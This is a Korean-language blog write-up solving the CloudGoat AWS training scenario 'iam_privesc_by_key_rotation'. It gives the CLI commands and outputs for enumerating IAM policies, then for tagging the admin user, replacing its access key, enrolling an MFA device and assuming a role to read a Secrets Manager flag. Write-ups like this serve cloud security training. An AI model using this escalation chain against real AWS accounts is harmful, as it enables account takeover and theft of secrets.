Security/Cloud

[CloudGoat] Scenario "iam_privesc_by_key_rotation" - solution

Omoknooni 2024. 1. 29. 15:26

시나리오 개요

Exploit insecure IAM permissions to escalate your access. Start with a role that manages other users credentials and find a weakness in the setup to access the "admin" role. Using the admin role retrieve the flag from secretsmanager.

 

시나리오 목표

Admin role을 통해 SecretsManager에 있는 flag 탈취

 

시나리오 세팅

./cloudgoat.py create iam_privesc_by_key_rotation

 

solutions 디렉토리 내의 iam_privesc_by_key_rotation 시나리오 제작 Terraform이 실행된다.

 

 

Terraform output으로 시나리오 시작에 대한 정보(kerrigan user credential)가 담긴 파일이 생성된다.

해당 파일의 Credential을 .aws/credentials에 cg-kerrigan 이름의 Profile로 추가해준다.

 

 

Solution

1. 주어진 user의 정보를 가져온다

aws sts get-caller-identity --profile cg-kerrigan

 

 

manager_iam_privesc_by_key_rotation 이름의 user로 확인된다.

 

 

2. iam user 목록화 및 각 user별 Role & Policy 확인

aws iam list-users --profile cg-kerrigan

 

총 3개의 user (admin / developer / manager)를 확인할 수 있다.

각 user 별로 Role과 Policy 내용을 더 확인해본다.

 

 

먼저 각 user 별로 attached된 Policy들을 확인해본다.

# 특정 user에 attached된 Managed policy 목록 확인
aws iam list-attached-user-policies --user-name [user명] --profile cg-kerrigan

# 특정 user에 attached된 Inline policy 목록 확인
aws iam list-user-policies --user-name [user명] --profile cg-kerrigan

 

각 user별로 attached된 Policy는 다음과 같다.

  admin developer manager
Managed Policy IAMReadOnlyAccess X IAMReadOnlyAccess
Inline Policy AssumeRoles DeveloperViewSecrets SelfManageAccess
TagResources

 

 

이들 중에서 Inline Policy들을 위주로 각 Policy의 document를 확인해본다.

# 특정 user에 attached된 Inline policy document 확인
aws iam get-user-policy --user-name [user명] --policy-name [policy명] --profile cg-kerrigan

 

먼저, 현재 가지고 있는 manager의 policy 2개를 확인해본 결과는 아래와 같다.

## SelfManageAccess
"Statement": [
            {
                "Action": [
                    "iam:DeactivateMFADevice",
                    "iam:GetMFADevice",
                    "iam:EnableMFADevice",
                    "iam:ResyncMFADevice",
                    "iam:DeleteAccessKey",
                    "iam:UpdateAccessKey",
                    "iam:CreateAccessKey"
                ],
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/developer": "true"	# developer:true 태그가 붙은 리소스에 한해 MFA와 Accesskey에 접근할 수 있음
                    }
                },
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:iam::538872363553:user/*",
                    "arn:aws:iam::538872363553:mfa/*"
                ],
                "Sid": "SelfManageAccess"
            },
            {
                "Action": [
                    "iam:DeleteVirtualMFADevice",
                    "iam:CreateVirtualMFADevice"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:iam::538872363553:mfa/*",
                "Sid": "CreateMFA"
            }
        ]
        
## TagResources
"Statement": [
            {
                "Action": [
                    "iam:UntagUser",
                    "iam:UntagRole",
                    "iam:TagRole",
                    "iam:UntagMFADevice",
                    "iam:UntagPolicy",
                    "iam:TagMFADevice",
                    "iam:TagPolicy",
                    "iam:TagUser"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": "TagResources"
            }
        ]

 

SelfManagedAccess policy에서는 developer:true라는 태그가 붙어있는 리소스에 대해 MFA와 AccessKey를 관리할 수 있는 Statement와 user, role, MFADevice들에 대해 태그를 관리할 수 있는 statement를 확인할 수 있다.

 

다음으로 developer의 DeveloperViewSecrets와 admin의 AssumeRoles policy를 확인해 보았다.

### DeveloperViewSecrets
{
    "Action": "secretsmanager:ListSecrets",
    "Effect": "Allow",
    "Resource": "*",
    "Sid": "ViewSecrets"
}

### AssumeRoles
{
    "Action": "sts:AssumeRole",
    "Effect": "Allow",
    "Resource": "arn:aws:iam::538872363553:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgido6m3fck9za",
    "Sid": "AssumeRole"
}

 

developer는 Secretsmanager의 ListSecrets를 수행할 수 있지만, 그 내용을 확인할 권한은 없다.

그리고 admin은 cg-secretsmanager라는 role에 대해 AssumeRole이 허용되어있다. 여기서 새롭게 발견한 Role을 더 찾아본다.

 

 

3. 새로 발견한 Role(cg-secretsmanager) 정보 탐색

# 특정 role의 detail 확인
aws iam get-role --role-name [role명] --profile cg-kerrigan

# 특정 role에 attached된 Managed policy 목록 확인
aws iam list-attached-role-policies --role-name [role명] --profile cg-kerrigan

 

 

새로 발견한 Role의 내용은 다음과 같다.

### get-role
{
    "Role": {
        "Path": "/",
        "RoleName": "cg_secretsmanager_iam_privesc_by_key_rotation_cgido6m3fck9za",
        "RoleId": "AROAX252LXIQ7EJU4S35M",
        "Arn": "arn:aws:iam::538872363553:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgido6m3fck9za",
        "CreateDate": "2024-01-29T02:39:39+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::538872363553:root"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "Bool": {
                            "aws:MultiFactorAuthPresent": "true" # MFA가 설정되어있어야 assumerole할 수 있음 
                        }
                    }
                }
            ]
        },
        "Description": "Access to view secrets",
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Scenario",
                "Value": "iam_privesc_by_key_rotation"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {}
    }
}

### list-attached-role-policies
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg_view_secrets_iam_privesc_by_key_rotation_cgido6m3fck9za",
            "PolicyArn": "arn:aws:iam::538872363553:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgido6m3fck9za"
        }
    ]
}

 

Role의 Statement에 따르면, MFA만 설정되어있으면 AssumeRole해줄 수 있다는 것을 알 수 있다.

그리고 cg_view_secrets라는 Policy가 Attached된것도 확인할 수 있다.

 

이 policy 내용을 더 확인해본다.

aws iam get-policy --policy-arn [policy ARN] --profile cg-kerrigan	(policy 정보 확인)
{
    "Policy": {
        "PolicyName": "cg_view_secrets_iam_privesc_by_key_rotation_cgido6m3fck9za",
        "PolicyId": "ANPAX252LXIQZB4WJGACT",
        "Arn": "arn:aws:iam::538872363553:policy/cg_view_secrets_iam_privesc_by_key_rotation_cgido6m3fck9za",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "View and retreive secrets",
        "CreateDate": "2024-01-29T02:39:38+00:00",
        "UpdateDate": "2024-01-29T02:39:38+00:00",
        "Tags": [
            {
                "Key": "Scenario",
                "Value": "iam_privesc_by_key_rotation"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ]
    }
}

 

 

Policy의 버전정보를 확인하고, 이 버전의 내용을 확인한다.

aws iam get-policy-version --policy-arn [policy ARN] --version-id [버전ID] --profile cg-kerrigan
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": "secretsmanager:ListSecrets",	# developer user와 동일하게 secret 목록을 읽을 수 있음
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": "secretsmanager:GetSecretValue", # 결론, admin user로 secret value를 읽을 수 있다.
                    "Effect": "Allow",
                    "Resource": "arn:aws:secretsmanager:us-east-1:538872363553:secret:cg_secret_iam_privesc_by_key_rotation_cgido6m3fck9za-BEJJtS"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2024-01-29T02:39:38+00:00"
    }
}

 

설정된 버전 'v1'의 내용을 확인하면 Secret 목록을 읽고, SecretValue도 읽어올 수 있는 내용을 볼 수 있다.

즉, admin user의 권한만이 SecretValue를 읽어올 수 있는 것이다.

 

4. Exploit

위에서 확인했던 manager의 policy들을 기억하는가?

 이 계정내의 모든 MFA와 user들에 Tag를 달 수 있었다. 그리고 developer 태그가 달린 MFA와 AccessKey를 관리할 수도 있었다.

 

Manager로 Admin user에 developer:true 태그를 할당하고, Admin user의 AccessKey를 임의로 생성하면 Admin user의 권한을 탈취하게되는 흐름을 생각해볼 수 있게 된다.

# user에 태그 달기
aws iam tag-user --user-name [user명] --tags '{"Key":"developer", "Value": "true"}' --profile cg-kerrigan

# user의 AccessKey 생성
aws iam create-access-keys --user-name [user명] --profile cg-kerrigan

 

AccessKey를 생성하면 갯수 제한에 막히는 것을 볼 수 있다.

admin user의 AccessKey 목록을 확인하고 하나를 지우면 생성할 수 있다.

# user의 AccessKey 목록 확인
aws iam list-access-keys --user-name [user명] --profile cg-kerrigan

# user의 AccessKey 삭제
aws iam delete-access-key --user-name [user명] --access-key-id [AccessKey ID] --profile cg-kerrigan

 

 

다음으로 cg-secretsmanager Role을 assume하기 전에, MFA 등록을 해주어야한다.

# 가상 MFA 기기 등록
aws iam create-virtual-mfa-device --virtual-mfa-device-name [MFA device 이름] \ 
--outfile [MFA등록 QR] --bootstrap-method QRCodePNG --profile cg-kerrigan

 

기기를 등록하면 QR 이미지파일이 생성되고, 이 이미지를 OTP 기기에 등록 후 admin에 MFA를 활성화 시켜준다.

# user에 MFA 활성화
aws iam enable-mfa-device --user-name [user명] --serial-number [MFA device serial] \
--authentication-code1 [otp코드1] --authentication-code2 [otp코드2] --profile cg-kerrigan

 

 

5. Assume-Role Credential 획득

MFA활성화를 시킨 다음, 생성한 AccessKey를 이용해 cg-secretsmanager Role을 assume

aws sts assume-role --role-arn [role ARN] --role-session-name cg-admin --profile cg-admin \
--serial-number [MFA device serial] --token-code [OTP 코드]

 

 

6. Secret 확인

이후 획득한 sts Assumed Role의 Credential을 바탕으로 SecretsManager에 접근해 SecretValue를 획득한다.

# Secret 목록 확인
aws secretsmanager list-secrets --profile cg-authed --region us-east-1

# Secret Value 확인
aws secretsmanager get-secret-value --secret-id [Secret명] --region us-east-1 --profile cg-authed

 

Flag : flag{14m_PERM15510N5_4Re_5C4R_00ed47e9a6fbc9dbee52b0828575403822eeedb372e44ad97d761af6c66d2220}